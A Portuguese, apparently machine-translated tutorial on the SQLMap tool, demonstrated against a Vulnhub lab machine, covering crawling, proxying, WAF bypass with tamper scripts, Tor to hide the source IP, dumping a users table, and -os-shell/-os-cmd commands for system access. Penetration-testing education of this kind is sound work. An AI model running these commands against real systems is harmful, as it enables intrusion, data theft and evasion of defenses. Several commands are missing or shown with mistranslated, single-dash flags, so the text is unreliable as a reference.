A ferramenta SQLMap pode ser encontrada em cada caixa de ferramentas do testador de penetração. É uma das ferramentas mais populares e poderosas quando se trata de explorar a vulnerabilidade de injeção SQL, que por si só encabeça a lista OWASP das 10 Vulnerabilidades Mais Vulneráveis. Desde confirmar a vulnerabilidade de injeção SQL até extrair o nome do banco de dados, tabelas, colunas e ganhar um sistema completo, ele pode ser usado para múltiplos propósitos.
Neste artigo, veremos diferentes tipos de comandos SQLMap que podem vir à mão enquanto se explora diferentes cenários de injeção SQL.
SQLMap pode ser baixado dos seguintes links:
Windows
Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Para fins de demonstração, eu estou usando esta máquina de Vulnhub.
Vejamos o uso básico da ferramenta SQLMap em pedidos GET e POST.
sqlmap -u http://site-to-test.com/test.php?id=1 -p id
sqlmap -u http://site-to-test.com/test.php?id=1*
-u: URL para digitalizar
-p: parâmetro para digitalizar
*: Parâmetro a digitalizar (se a chave -p não for fornecida)
POST Request
Podemos fornecer os dados a serem passados no corpo de pedido POST para digitalizar pela ferramenta SQLMap.
sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user
-data = dados POST
Outra forma é copiar o pedido de Burp para um ficheiro e passar o mesmo para o SQLMap.
sqlmap -r <caminho para o ficheiro de pedido>
>
Vamos avançar um pouco para compreender outras opções fornecidas pela ferramenta SQLMap.
Página de login do POST de digitalização
Página de login de pós-ligação são autorizadas pelo cabeçalho do cookie, que é passado no cabeçalho HTTP de uma solicitação GET/POST. Para verificar a(s) página(s) de início de sessão, temos de fornecer o cookie válido para SQLMap.
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”cookie value”
/admin/index.php?id=1 é uma página de início de sessão do post.
Simplesmente, muitas das páginas são protegidas pelo cabeçalho User-Agent ou Referrer. O mesmo pode ser incluído no comando:
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php
Adicionalmente, podemos randomizar o cabeçalho user-agent usando a opção -random-agent.
CRAWL
Crawl é uma opção importante que permite que a ferramenta SQLMap rastreie o site, começando a partir da localização da raiz. A profundidade para rastejar pode ser definida no comando.
sqlmap -u http://192.168.202.160/ -crawl=1
-crawl: Defina uma profundidade para rastejar. (Exemplo: Definir 2 permitirá que a ferramenta rasteje até dois diretórios)
Se quisermos excluir qualquer página do escopo do rastreador podemos definir por -crawl-excluir. Esta é uma opção útil quando estamos rastreando uma página de login.
sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”cookie value” -crawl-exclude=”logout”
Este comando irá rastrear o site até três diretórios e excluir qualquer URL onde a palavra-chave “logout” esteja presente.
Como você pode ver abaixo, o SQLMap rastreou o website mas excluiu a URL de logout.
>
Vamos executar o mesmo comando sem a opção -crawl-exclude:
Como pode ver abaixo quando -crawl-exclude não está definido, o SQLMap rastreou a URL de logout. Isto permitiria que a sessão existente fosse invalidada (devido ao logout) e não completar o scan.
SQLMap Through Proxy
Podemos definir os detalhes de um proxy a partir de onde permitimos a passagem do pedido. Se quisermos passar o pedido através de uma ferramenta proxy como Burp, inicie Burp Suite e configure-o para ser executado em localhost na porta 8080. Agora use o seguinte comando SQLMap:
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″
Agora, pense em um cenário onde as palavras-chave sqlinjection como OrderBy e Union estão na lista negra do servidor. Podemos contornar estes tipos de implementações usando a técnica de camel casing. Vamos usar SQLMap para enviar o tráfego para Burp e usar o recurso “match and replace” de Burp para contornar a restrição acima.
O recurso Match and Replace pode ser encontrado na aba “Options”, na aba “Proxy” de Burp.
Isso vai verificar se o pedido tem uma palavra-chave como “union”. Se sim, então substitua-a por “UnIoN”
Num cenário onde a aplicação é acessível apenas através do servidor proxy, o mesmo pode ser definido usando o seguinte comando:
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=username:password
Batch
O comando batch é usado para sessões não-interativas. Quando estamos tentando escanear algo, o SQLMap pode nos pedir para fornecer informações durante a varredura: por exemplo, ao usar o recurso de rastreamento, a ferramenta pergunta ao usuário se o usuário deseja escanear a URL identificada. Quando -batch é definido no comando, a ferramenta usa um valor padrão para prosseguir sem perguntar ao usuário.
Formulário
Uma URL de página com um campo de formulário (digamos página de login) pode ser fornecida junto com a opção -formulário para analisar a página e orientar o usuário a testar os campos identificados.
Páginas com um grande número de campos de formulário podem ser testadas eficazmente usando a opção -form e -batch juntos. Isto irá analisar a página e verificar se há campos de formulário e automaticamente fornecer o input em nome do usuário.
Se toda a aplicação tiver que ser digitalizada, a opção crawl juntamente com formulário e switch pode ser usada.
Threads
A opção threads permite ao usuário definir o número de pedidos simultâneos a serem enviados pela ferramenta SQLMap. Isto reduziria o tempo total de teste. Isto não deve ser mantido a um valor superior, pois pode ter impacto na precisão do resultado.
Risco e Nível
Risco permite o tipo de carga útil utilizada pela ferramenta. Por padrão, ele usa o valor 1 e pode ser configurado até o nível 3. O nível 3, sendo o máximo, inclui algumas consultas SQL pesadas.
O nível define o número de verificações/carga de pagamento a serem realizadas. O valor varia de 1 a 5. 5, sendo o máximo, inclui um grande número de checagens/pagamentos no scan.
O risco e o nível são recomendados para serem aumentados se o SQLMap não for capaz de detectar a injeção nas configurações padrão.
Verbose
No caso de desejarmos ver o payload sendo enviado pela ferramenta, podemos usar a opção verbose. Os valores variam de 1 a 6.
Enumeração da base de dados
Como sabemos que o SQLMap é maioritariamente utilizado para exploração de SQL injection, vejamos alguns dos comandos para enumerar a base de dados através de uma aplicação vulnerável a SQL injection.
1. -dbs: Esta opção é usada para enumerar a base de dados.
2. Agora temos o nome da base de dados. Para extrair a tabela para o “fotoblog” da base de dados, execute o seguinte comando:
3. Para extrair os detalhes da coluna da tabela “usuários”, execute o seguinte comando:
>
4. Para descarregar os dados da tabela “usuários”, use o seguinte comando -dump:
>
5. Para identificar o usuário atual da base de dados:
>
>
6. Para identificar o nome da base de dados atual:
>
>
>
>
7. Para identificar os privilégios, funções e se o usuário DB atual é o administrador do DB:
>
Bypassing WAF Using Tamper Script:
Muitas vezes, nos deparamos com um cenário onde a aplicação é mantida atrás do firewall da aplicação web (WAF). Para verificar se o site é protegido por WAF, podemos usar as seguintes opções:
-identify-waf
Após o WAF ser identificado, podemos usar o script de violação para atacar as aplicações protegidas por WAF. O script de adulteração pode modificar o pedido para escapar da detecção de WAF. Os scripts podem ser encontrados em /usr/share/sqlmap/tamper/directório.
Executar comandos de sistema
Podemos executar os comandos de nível de sistema/sistema se o utilizador actual da base de dados tiver direitos DBA. Podemos usar as seguintes opções:
Para um servidor Linux:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell
Para um servidor Windows:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>
Executar consultas SQL
Podemos executar a instrução SQL na base de dados executando os seguintes comandos:
sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell
Outras opções
Outras opções incluem:
1. Digitalizando uma página protegida por autenticação HTTP como Basic, NTLM e Digest:
sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred “admin:admin”
2. Digitalizando uma página protegida por autenticação baseada em chaves
sqlmap -u http://example.com/admin.aspx -auth-file=<caminho para certificado PEM ou arquivo de chave privada>
3. Para randomizar IPs atacantes (isso pode ajudar em casos como detecção de WAF, ou quando ocultar a fonte atacante aumentaria a dificuldade de rastrear o IP).
Para usar a rede padrão Tor anonymity:
sqlmap -u http://example.com/admin.aspx -tor
Para definir uma porta Tor:
sqlmap -u http://example.com/admin.aspx -tor-port=<tor proxy port>
4. Se for necessário um atraso entre cada pedido HTTP:
sqlmap -u http://example.com/admin.aspx -delay=1 #1 segundo de atraso
5. Se uma página é protegida por uma ficha CSRF, podemos incluir o mesmo no comando:
sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf token>
Second-Order SQL injection: Neste tipo de injeção SQL, a carga útil SQL é armazenada na base de dados e recuperada posteriormente ao acessar uma página diferente. Nós fornecemos uma URL, que será solicitada pela ferramenta SQLMap após cada injeção. Podemos instruir a ferramenta SQLMap para testar esta injeção usando os seguintes comandos:
sqlmap -r /root/Desktop/Burp.txt -second-order “http://target/vulnerbalepage.php”
The Burp.txt contém o pedido no qual a injeção deve ser executada.
-segunda ordem “URL” contém a URL que será acessada pelo SQLMap após cada injeção.